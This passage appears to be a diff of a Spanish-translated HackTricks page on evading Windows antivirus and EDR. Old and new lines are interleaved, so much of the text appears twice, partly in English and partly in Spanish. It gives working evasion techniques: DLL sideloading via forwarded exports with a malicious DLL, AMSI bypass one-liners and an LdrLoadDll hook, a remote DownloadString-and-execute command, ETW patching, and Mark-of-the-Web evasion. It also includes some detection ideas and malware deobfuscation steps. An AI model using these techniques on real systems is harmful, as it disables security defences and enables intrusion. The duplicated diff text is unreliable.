copy C:\Windows\System32\keyiso.dll C:\test\
```
2) Coloca un `NCRYPTPROV.dll` malicioso en la misma carpeta. Un DllMain mínimo es suficiente para obtener ejecución de código; no necesitas implementar la función reenviada para desencadenar DllMain.
2) Coloca un `NCRYPTPROV.dll` malicioso en la misma carpeta. Un `DllMain` mínimo es suficiente para obtener ejecución de código; no necesitas implementar la función reenviada para activar `DllMain`.
```c
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
@ -149,18 +151,18 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&
return TRUE;
}
```
3) Activar el reenvío con un LOLBin firmado:
3) Disparar el reenvío con un LOLBin firmado:
```
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
```
Comportamiento observado:
- rundll32 (firmado) carga la side-by-side `keyiso.dll` (firmado)
- Mientras resuelve `KeyIsoSetAuditingInterface`, el loader sigue el forward a `NCRYPTPROV.SetAuditingInterface`
- rundll32 (signed) carga el side-by-side `keyiso.dll` (signed)
- Mientras resuelve `KeyIsoSetAuditingInterface`, el loader sigue el reenvío a `NCRYPTPROV.SetAuditingInterface`
- El loader entonces carga `NCRYPTPROV.dll` desde `C:\test` y ejecuta su `DllMain`
- Si `SetAuditingInterface` no está implementado, obtendrás un error "missing API" solo después de que `DllMain` ya se haya ejecutado
- Si `SetAuditingInterface` no está implementada, obtendrás un error de "missing API" solo después de que `DllMain` ya se haya ejecutado
Hunting tips:
- Focus on forwarded exports donde el módulo objetivo no es un KnownDLL. KnownDLLs están listados bajo `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
- Céntrate en forwarded exports donde el módulo objetivo no sea un KnownDLL. KnownDLLs están listados bajo `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
- Puedes enumerar forwarded exports con tooling such as:
```
dumpbin /exports C:\Windows\System32\keyiso.dll
@ -168,10 +170,10 @@ dumpbin /exports C:\Windows\System32\keyiso.dll
```
- Consulta el inventario de forwarders de Windows 11 para buscar candidatos: https://hexacorn.com/d/apis_fwd.txt
Detection/defense ideas:
- Monitor LOLBins (e.g., rundll32.exe) loading signed DLLs from non-system paths, followed by loading non-KnownDLLs with the same base name from that directory
- Alert on process/module chains like: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` under user-writable paths
- Enforce code integrity policies (WDAC/AppLocker) and deny write+execute in application directories
Ideas de detección/defensa:
- Monitorea LOLBins (p. ej., rundll32.exe) que cargan DLLs firmadas desde rutas no pertenecientes al sistema, seguidas de la carga de non-KnownDLLs con el mismo nombre base desde ese directorio
- Alerta sobre cadenas de procesos/módulos como: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` en rutas escribibles por el usuario
- Aplica políticas de integridad de código (WDAC/AppLocker) y deniega escritura+ejecución en los directorios de aplicaciones
## [**Freeze**](https://github.com/optiv/Freeze)
@ -187,53 +189,53 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
> [!TIP]
> La evasión es un juego de gato y ratón: lo que funciona hoy puede detectarse mañana, así que no confíes en una sola herramienta; si es posible, intenta encadenar múltiples técnicas de evasión.
> La evasión es solo un juego de gato y ratón: lo que funciona hoy podría detectarse mañana, así que nunca confíes en una sola herramienta; si es posible, intenta encadenar múltiples técnicas de evasión.
## AMSI (Anti-Malware Scan Interface)
AMSI was created to prevent "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Initially, AVs were only capable of scanning **files on disk**, so if you could somehow execute payloads **directly in-memory**, the AV couldn't do anything to prevent it, as it didn't have enough visibility.
AMSI fue creado para prevenir "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, los AVs solo podían escanear archivos en disco, por lo que si de alguna manera podías ejecutar payloads directamente in-memory, el AV no podía hacer nada para prevenirlo, ya que no tenía suficiente visibilidad.
The AMSI feature is integrated into these components of Windows.
La funcionalidad AMSI está integrada en estos componentes de Windows.
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
- PowerShell (scripts, interactive use, and dynamic code evaluation)
- Windows Script Host (wscript.exe and cscript.exe)
- JavaScript and VBScript
- User Account Control, or UAC (elevación de EXE, COM, MSI, o instalación de ActiveX)
- PowerShell (scripts, uso interactivo y evaluación dinámica de código)
- Windows Script Host (wscript.exe y cscript.exe)
- JavaScript y VBScript
- Office VBA macros
It allows antivirus solutions to inspect script behavior by exposing script contents in a form that is both unencrypted and unobfuscated.
Permite que las soluciones antivirus inspeccionen el comportamiento de los scripts exponiendo el contenido de los mismos en una forma no cifrada y no ofuscada.
Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
Ejecutar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` producirá la siguiente alerta en Windows Defender.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
Notice how it prepends `amsi:` and then the path to the executable from which the script ran, in this case, powershell.exe
Fíjate cómo antepone `amsi:` y luego la ruta al ejecutable desde el que se ejecutó el script, en este caso, powershell.exe
We didn't drop any file to disk, but still got caught in-memory because of AMSI.
No dejamos ningún archivo en disco, pero aun así fuimos detectados in-memory debido a AMSI.
Moreover, starting with **.NET 4.8**, C# code is run through AMSI as well. This even affects `Assembly.Load(byte[])` to load in-memory execution. Thats why using lower versions of .NET (like 4.7.2 or below) is recommended for in-memory execution if you want to evade AMSI.
Además, a partir de **.NET 4.8**, el código C# también se ejecuta a través de AMSI. Esto incluso afecta a `Assembly.Load(byte[])` para cargar ejecución in-memory. Por eso se recomienda usar versiones inferiores de .NET (como 4.7.2 o anteriores) para ejecución in-memory si quieres evadir AMSI.
There are a couple of ways to get around AMSI:
Hay un par de formas de evitar AMSI:
- **Obfuscation**
Dado que AMSI funciona principalmente con detecciones estáticas, modificar los scripts que intentas cargar puede ser una buena forma de evadir la detección.
Dado que AMSI funciona principalmente con detecciones estáticas, modificar los scripts que intentas cargar puede ser una buena manera de evadir la detección.
Sin embargo, AMSI tiene la capacidad de desofuscar scripts incluso si tienen múltiples capas, por lo que obfuscation podría ser una mala opción dependiendo de cómo se haga. Esto la hace menos directa de evadir. Aunque, a veces, todo lo que necesitas es cambiar un par de nombres de variables y estarás bien, así que depende de cuánto haya sido marcado.
Sin embargo, AMSI tiene la capacidad de desofuscar scripts incluso si tienen múltiples capas, por lo que la obfuscation podría ser una mala opción dependiendo de cómo se haga. Esto hace que no sea tan sencillo evadirlo. Aunque, a veces, todo lo que necesitas es cambiar un par de nombres de variables y estarás bien, así que depende de cuánto haya sido marcado algo.
- **AMSI Bypass**
Dado que AMSI se implementa cargando un DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularlo fácilmente incluso ejecutando como un usuario sin privilegios. Debido a esta falla en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI.
Dado que AMSI se implementa cargando una DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularla fácilmente incluso ejecutando como un usuario sin privilegios. Debido a este fallo en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI.
**Forcing an Error**
Forcing the AMSI initialization to fail (amsiInitFailed) will result that no scan will be initiated for the current process. Originally this was disclosed by [Matt Graeber](https://twitter.com/mattifestation) and Microsoft has developed a signature to prevent wider usage.
Forzar que la inicialización de AMSI falle (amsiInitFailed) dará como resultado que no se inicie ningún escaneo para el proceso actual. Originalmente esto fue divulgado por [Matt Graeber](https://twitter.com/mattifestation) y Microsoft ha desarrollado una firma para prevenir un uso más amplio.
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
Bastó una sola línea de código de powershell para dejar AMSI inutilizable en el proceso de powershell actual. Esta línea, por supuesto, ha sido señalada por AMSI, por lo que se necesita una modificación para poder usar esta técnica.
Todo lo que hizo falta fue una línea de código powershell para dejar AMSI inutilizable para el proceso powershell actual. Esta línea, por supuesto, fue detectada por AMSI, por lo que se necesita alguna modificación para poder usar esta técnica.
Aquí tienes un AMSI bypass modificado que tomé de este [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
Aquí hay un bypass de AMSI modificado que tomé de este [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```bash
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
@ -247,18 +249,53 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Ten en cuenta que esto probablemente será detectado una vez que se publique esta publicación, así que no deberías publicar ningún código si tu plan es permanecer sin ser detectado.
Ten en cuenta que esto probablemente será detectado una vez que se publique esta entrada, así que no deberías publicar ningún código si tu plan es permanecer sin ser detectado.
**Memory Patching**
Esta técnica fue inicialmente descubierta por [@RastaMouse](https://twitter.com/_RastaMouse/) e implica encontrar la dirección de la función "AmsiScanBuffer" en amsi.dll (responsable de escanear la entrada proporcionada por el usuario) y sobrescribirla con instrucciones para devolver el código E_INVALIDARG; de esta manera, el resultado del escaneo real devolverá 0, lo cual se interpreta como un resultado limpio.
Esta técnica fue descubierta inicialmente por [@RastaMouse](https://twitter.com/_RastaMouse/) y consiste en encontrar la dirección de la función "AmsiScanBuffer" en amsi.dll (responsable de escanear la entrada proporcionada por el usuario) y sobrescribirla con instrucciones que devuelvan el código E_INVALIDARG; de este modo, el resultado del escaneo real devolverá 0, que se interpreta como un resultado limpio.
> [!TIP]
> Por favor lee [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para una explicación más detallada.
También hay muchas otras técnicas usadas para bypassear AMSI con PowerShell; consulta [**esta página**](basic-powershell-for-pentesters/index.html#amsi-bypass) y [**este repositorio**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para aprender más sobre ellas.
También hay muchas otras técnicas usadas para bypass AMSI con powershell; consulta [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) y [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para aprender más sobre ellas.
Esta herramienta [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) también genera scripts para bypassear AMSI.
### Blocking AMSI by preventing amsi.dll load (LdrLoadDll hook)
AMSI se inicializa solo después de que `amsi.dll` se cargue en el proceso actual. Un bypass robusto e independiente del lenguaje consiste en colocar un hook en modo usuario sobre `ntdll!LdrLoadDll` que devuelva un error cuando el módulo solicitado sea `amsi.dll`. Como resultado, AMSI nunca se carga y no se realizan escaneos para ese proceso.
Implementation outline (x64 C/C++ pseudocode):
```c
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
static pLdrLoadDll realLdrLoadDll;
NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
if (module && module->Buffer){
UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
if (RtlEqualUnicodeString(module, &amsi, TRUE)){
// Pretend the DLL cannot be found → AMSI never initialises in this process
return STATUS_DLL_NOT_FOUND; // 0xC0000135
}
}
return realLdrLoadDll(path, flags, module, handle);
}
void InstallHook(){
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
// Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
// e.g., Microsoft Detours / MinHook / custom 14‑byte jmp thunk
}
```
Notas
- Funciona en PowerShell, WScript/CScript y loaders personalizados por igual (cualquier cosa que de otro modo cargaría AMSI).
- Combínalo con alimentar scripts por stdin (`PowerShell.exe -NoProfile -NonInteractive -Command -`) para evitar artefactos largos en la línea de comandos.
- Se ha visto usado por loaders ejecutados a través de LOLBins (p. ej., `regsvr32` llamando a `DllRegisterServer`).
This tools [https://github.com/Flangvik/AMSI.fail](https://github.com/Flangvik/AMSI.fail) también genera scripts para eludir AMSI.
**Remove the detected signature**
@ -275,50 +312,50 @@ powershell.exe -version 2
```
## PS Logging
PowerShell logging es una característica que permite registrar todos los comandos de PowerShell ejecutados en un sistema. Esto puede ser útil para auditoría y resolución de problemas, pero también puede ser un **problema para atacantes que quieren evadir la detección**.
PowerShell logging es una función que permite registrar todos los comandos de PowerShell ejecutados en un sistema. Esto puede ser útil para auditoría y resolución de problemas, pero también puede ser un **problema para atacantes que quieren evadir la detección**.
Para evadir PowerShell logging, puedes usar las siguientes técnicas:
Para evadir el registro de PowerShell, puedes usar las siguientes técnicas:
- **Disable PowerShell Transcription and Module Logging**: Puedes usar una herramienta como [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) para este propósito.
- **Use Powershell version 2**: Si usas PowerShell version 2, AMSI no se cargará, por lo que puedes ejecutar tus scripts sin ser escaneados por AMSI. Puedes hacerlo así: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: Usa [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) para lanzar una PowerShell sin defensas (esto es lo que `powerpick` de Cobal Strike usa).
- **Use Powershell version 2**: Si usas PowerShell versión 2, AMSI no se cargará, así que puedes ejecutar tus scripts sin que AMSI los escanee. Puedes hacerlo: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: Usa [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) para generar un powershell sin defensas (esto es lo que `powerpick` from Cobal Strike usa).
## Ofuscación
## Obfuscation
> [!TIP]
> Varias técnicas de ofuscación se basan en encriptar datos, lo que aumentará la entropía del binario y facilitará que los AVs y EDRs lo detecten. Ten cuidado con esto y quizá aplica encriptación solo a secciones específicas de tu código que sean sensibles o necesiten ocultarse.
> Varias técnicas de ofuscación dependen de cifrar datos, lo que aumentará la entropía del binario y facilitará que los AVs y EDRs lo detecten. Ten cuidado con esto y quizá aplica cifrado solo a secciones específicas de tu código que sean sensibles o necesiten ocultarse.
### Desofuscando binarios .NET protegidos por ConfuserEx
### Deobfuscating ConfuserEx-Protected .NET Binaries
Al analizar malware que usa ConfuserEx 2 (o forks comerciales) es común enfrentarse a varias capas de protección que bloquearán descompiladores y sandboxes. El flujo de trabajo siguiente resta reliably **restaura un IL casi original** que posteriormente puede descompilarse a C# en herramientas como dnSpy o ILSpy.
Al analizar malware que usa ConfuserEx 2 (o forks comerciales) es común encontrarse con varias capas de protección que bloquearán decompiladores y sandboxes. El flujo de trabajo a continuación restaura de forma fiable un IL casi original que luego puede ser decompilado a C# en herramientas como dnSpy o ILSpy.
1. Anti-tampering removal – ConfuserEx encripta cada *method body* y lo desencripta dentro del constructor estático del *module* (`<Module>.cctor`). Esto también parchea el PE checksum, por lo que cualquier modificación hará que el binario falle. Usa **AntiTamperKiller** para localizar las tablas de metadata encriptadas, recuperar las claves XOR y reescribir un ensamblado limpio:
1. Anti-tampering removal – ConfuserEx encrypts every *method body* and decrypts it inside the *module* static constructor (`<Module>.cctor`). This also patches the PE checksum so any modification will crash the binary. Use **AntiTamperKiller** to locate the encrypted metadata tables, recover the XOR keys and rewrite a clean assembly:
```bash
# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe
```
La salida contiene los 6 parámetros anti-tamper (`key0-key3`, `nameHash`, `internKey`) que pueden ser útiles al construir tu propio unpacker.
Output contains the 6 anti-tamper parameters (`key0-key3`, `nameHash`, `internKey`) that can be useful when building your own unpacker.
2. Symbol / control-flow recovery – alimenta el archivo *clean* a **de4dot-cex** (un fork de de4dot con soporte para ConfuserEx).
2. Symbol / control-flow recovery – feed the *clean* file to **de4dot-cex** (a ConfuserEx-aware fork of de4dot).
```bash
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
```
Flags:
• `-p crx` – selecciona el perfil ConfuserEx 2
• de4dot deshará el control-flow flattening, restaurará los namespaces, clases y nombres de variables originales y desencriptará las cadenas constantes.
• `-p crx` – select the ConfuserEx 2 profile
• de4dot will undo control-flow flattening, restore original namespaces, classes and variable names and decrypt constant strings.
3. Proxy-call stripping – ConfuserEx reemplaza llamadas directas a métodos con wrappers ligeros (aka *proxy calls*) para romper aún más la descompilación. Elimínalos con **ProxyCall-Remover**:
3. Proxy-call stripping – ConfuserEx replaces direct method calls with lightweight wrappers (a.k.a *proxy calls*) to further break decompilation. Remove them with **ProxyCall-Remover**:
```bash
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
```
Después de este paso deberías observar APIs normales de .NET como `Convert.FromBase64String` o `AES.Create()` en lugar de funciones wrapper opacas (`Class8.smethod_10`, …).
After this step you should observe normal .NET API such as `Convert.FromBase64String` or `AES.Create()` instead of opaque wrapper functions (`Class8.smethod_10`, …).
4. Limpieza manual – ejecuta el binario resultante bajo dnSpy, busca grandes blobs Base64 o el uso de `RijndaelManaged`/`TripleDESCryptoServiceProvider` para localizar la carga útil *real*. A menudo el malware la almacena como un arreglo de bytes codificado TLV inicializado dentro de `<Module>.byte_0`.
4. Manual clean-up – run the resulting binary under dnSpy, search for large Base64 blobs or `RijndaelManaged`/`TripleDESCryptoServiceProvider` use to locate the *real* payload. Often the malware stores it as a TLV-encoded byte array initialised inside `<Module>.byte_0`.
La cadena anterior restaura el flujo de ejecución **sin** necesitar ejecutar la muestra maliciosa – útil cuando trabajas en una estación de trabajo offline.
The above chain restores execution flow **without** needing to run the malicious sample – useful when working on an offline workstation.
🛈 ConfuserEx produce un atributo personalizado llamado `ConfusedByAttribute` que puede usarse como IOC para triage automático de muestras.
> 🛈 ConfuserEx produces a custom attribute named `ConfusedByAttribute` that can be used as an IOC to automatically triage samples.
#### One-liner
```bash
@ -327,37 +364,37 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
---
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): El objetivo de este proyecto es proporcionar un fork de código abierto de la suite de compilación [LLVM](http://www.llvm.org/) capaz de ofrecer una mayor seguridad del software mediante [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) y protección contra manipulación.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demuestra cómo usar el lenguaje `C++11/14` para generar, en tiempo de compilación, código ofuscado sin usar ninguna herramienta externa y sin modificar el compilador.
- [**obfy**](https://github.com/fritzone/obfy): Añade una capa de operaciones ofuscadas generadas por el framework de metaprogramación de plantillas de C++ que hará la vida de la persona que quiera crackear la aplicación un poco más difícil.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un ofuscador de binarios x64 capaz de ofuscar diversos archivos PE, incluyendo: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame es un motor de código metamórfico sencillo para ejecutables arbitrarios.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un framework de ofuscación de código de grano fino para lenguajes soportados por LLVM que usa ROP (return-oriented programming). ROPfuscator ofusca un programa a nivel de código ensamblador transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt es un .NET PE Crypter escrito en Nim
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): El objetivo de este proyecto es proporcionar un fork de código abierto del conjunto de compilación [LLVM](http://www.llvm.org/) capaz de ofrecer mayor seguridad del software mediante code obfuscation y tamper-proofing.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demuestra cómo usar el lenguaje `C++11/14` para generar, en tiempo de compilación, obfuscated code sin usar ninguna herramienta externa y sin modificar el compilador.
- [**obfy**](https://github.com/fritzone/obfy): Añade una capa de obfuscated operations generadas por el C++ template metaprogramming framework que hará la vida de la persona que quiera crackear la aplicación un poco más difícil.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un x64 binary obfuscator que es capaz de obfuscate varios diferentes pe files incluyendo: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame es un simple metamorphic code engine para ejecutables arbitrarios.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un fine-grained code obfuscation framework para lenguajes soportados por LLVM que usa ROP (return-oriented programming). ROPfuscator obfuscates un programa a nivel de código assembly transformando instrucciones regulares en ROP chains, frustrando nuestra concepción natural del flujo de control normal.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is a .NET PE Crypter written in Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor es capaz de convertir EXE/DLL existentes en shellcode y luego cargarlos
## SmartScreen & MoTW
Es posible que hayas visto esta pantalla al descargar algunos ejecutables de internet y ejecutarlos.
You may have seen this screen when downloading some executables from the internet and executing them.
Microsoft Defender SmartScreen es un mecanismo de seguridad diseñado para proteger al usuario final contra la ejecución de aplicaciones potencialmente maliciosas.
Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen funciona principalmente con un enfoque basado en reputación, lo que significa que las aplicaciones descargadas de manera poco común activarán SmartScreen, alertando y evitando que el usuario final ejecute el archivo (aunque el archivo aún puede ejecutarse haciendo clic en More Info -> Run anyway).
SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway).
**MoTW** (Mark of The Web) es un [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) con el nombre Zone.Identifier que se crea automáticamente al descargar archivos desde internet, junto con la URL desde la que se descargó.
**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Comprobando el ADS Zone.Identifier para un archivo descargado de internet.</p></figcaption></figure>
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Comprobando el Zone.Identifier ADS para un archivo descargado de Internet.</p></figcaption></figure>
> [!TIP]
> Es importante tener en cuenta que los ejecutables firmados con un certificado de firma **confiable** **no activarán SmartScreen**.
> Es importante tener en cuenta que los ejecutables firmados con un certificado de firma **trusted** **no activarán SmartScreen**.
Una forma muy efectiva de evitar que tus payloads obtengan el Mark of The Web es empaquetarlos dentro de algún tipo de contenedor como un ISO. Esto sucede porque Mark-of-the-Web (MOTW) **no puede** aplicarse a volúmenes **no NTFS**.
A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes.
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) es una herramienta que empaqueta payloads en contenedores de salida para evadir Mark-of-the-Web.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web.
Ejemplo de uso:
```bash
@ -387,51 +424,51 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
## ETW
Event Tracing for Windows (ETW) es un potente mecanismo de registro en Windows que permite a las aplicaciones y a los componentes del sistema **registrar eventos**. Sin embargo, también puede ser utilizado por productos de seguridad para monitorizar y detectar actividades maliciosas.
Event Tracing for Windows (ETW) es un potente mecanismo de registro en Windows que permite a las aplicaciones y componentes del sistema **log events**. Sin embargo, también puede ser usado por productos de seguridad para monitorizar y detectar actividades maliciosas.
De forma similar a cómo se deshabilita AMSI (eludida), también es posible hacer que la función **`EtwEventWrite`** del proceso en espacio de usuario devuelva inmediatamente sin registrar ningún evento. Esto se hace parcheando la función en memoria para que devuelva inmediatamente, deshabilitando efectivamente el registro ETW para ese proceso.
Similar to how AMSI is disabled (bypassed) también es posible hacer que la función **`EtwEventWrite`** del proceso en espacio de usuario retorne inmediatamente sin registrar ningún evento. Esto se consigue parcheando la función en memoria para que retorne de inmediato, deshabilitando efectivamente el logging de ETW para ese proceso.
Puedes encontrar más información en **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
## C# Assembly Reflection
Cargar binarios C# en memoria se conoce desde hace tiempo y sigue siendo una excelente forma de ejecutar tus herramientas de post-explotación sin ser detectado por AV.
Loading C# binaries in memory es una técnica conocida desde hace tiempo y sigue siendo una excelente manera de ejecutar tus herramientas de post-explotación sin ser detectado por AV.
Dado que el payload se cargará directamente en memoria sin tocar el disco, solo tendremos que preocuparnos por parchear AMSI para todo el proceso.
La mayoría de los C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) ya ofrecen la capacidad de ejecutar assemblies C# directamente en memoria, pero hay diferentes formas de hacerlo:
La mayoría de frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) ya ofrecen la capacidad de ejecutar ensamblados C# directamente en memoria, pero hay diferentes formas de hacerlo:
- **Fork\&Run**
Consiste en **crear un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código y, cuando termine, matar el nuevo proceso. Esto tiene tanto ventajas como desventajas. La ventaja del método fork and run es que la ejecución ocurre **fuera** de nuestro proceso implantado Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **probabilidad mucho mayor** de que nuestro **implant sobreviva.** La desventaja es que hay una **mayor probabilidad** de ser detectado por **Behavioural Detections**.
Consiste en **crear un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar el código malicioso y, cuando termine, matar el nuevo proceso. Esto tiene tanto ventajas como desventajas. La ventaja del método fork and run es que la ejecución ocurre **fuera** de nuestro Beacon implant process. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mucho mayor probabilidad** de que nuestro **implant sobreviva.** La desventaja es que tienes una **mayor probabilidad** de ser detectado por **detecciones de comportamiento**.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
Se trata de inyectar el código malicioso de post-explotación **en su propio proceso**. De esta manera, puedes evitar tener que crear un nuevo proceso y que AV lo analice, pero la desventaja es que si algo sale mal con la ejecución de tu payload, hay una **probabilidad mucho mayor** de **perder tu beacon**, ya que podría bloquearse.
Se trata de inyectar el código malicioso de post-explotación **en su propio proceso**. De esta manera, puedes evitar crear un nuevo proceso y que este sea escaneado por el AV, pero la desventaja es que si algo falla durante la ejecución de tu payload, hay una **mucho mayor probabilidad** de **perder tu beacon** ya que podría causar un crash.
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Si quieres leer más sobre la carga de C# Assembly, consulta este artículo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) y su BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
> Si quieres leer más sobre C# Assembly loading, revisa este artículo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) y su InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
También puedes cargar C# Assemblies **desde PowerShell**, revisa [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) y el [video de S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
También puedes cargar C# Assemblies **from PowerShell**, mira [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) y el video de S3cur3th1sSh1t ([https://www.youtube.com/watch?v=oe11Q-3Akuk](https://www.youtube.com/watch?v=oe11Q-3Akuk)).
## Using Other Programming Languages
Como se propone en [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso usando otros lenguajes proporcionando a la máquina comprometida acceso **al entorno del intérprete instalado en la compartición SMB controlada por el atacante**.
Como propone [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso usando otros lenguajes dando a la máquina comprometida acceso **al entorno intérprete instalado en el Attacker Controlled SMB share**.
Al permitir el acceso a los binarios del intérprete y al entorno en la compartición SMB, puedes **ejecutar código arbitrario en estos lenguajes en la memoria** de la máquina comprometida.
Al permitir el acceso a los Interpreter Binaries y al entorno en el SMB share puedes **execute arbitrary code in these languages within memory** de la máquina comprometida.
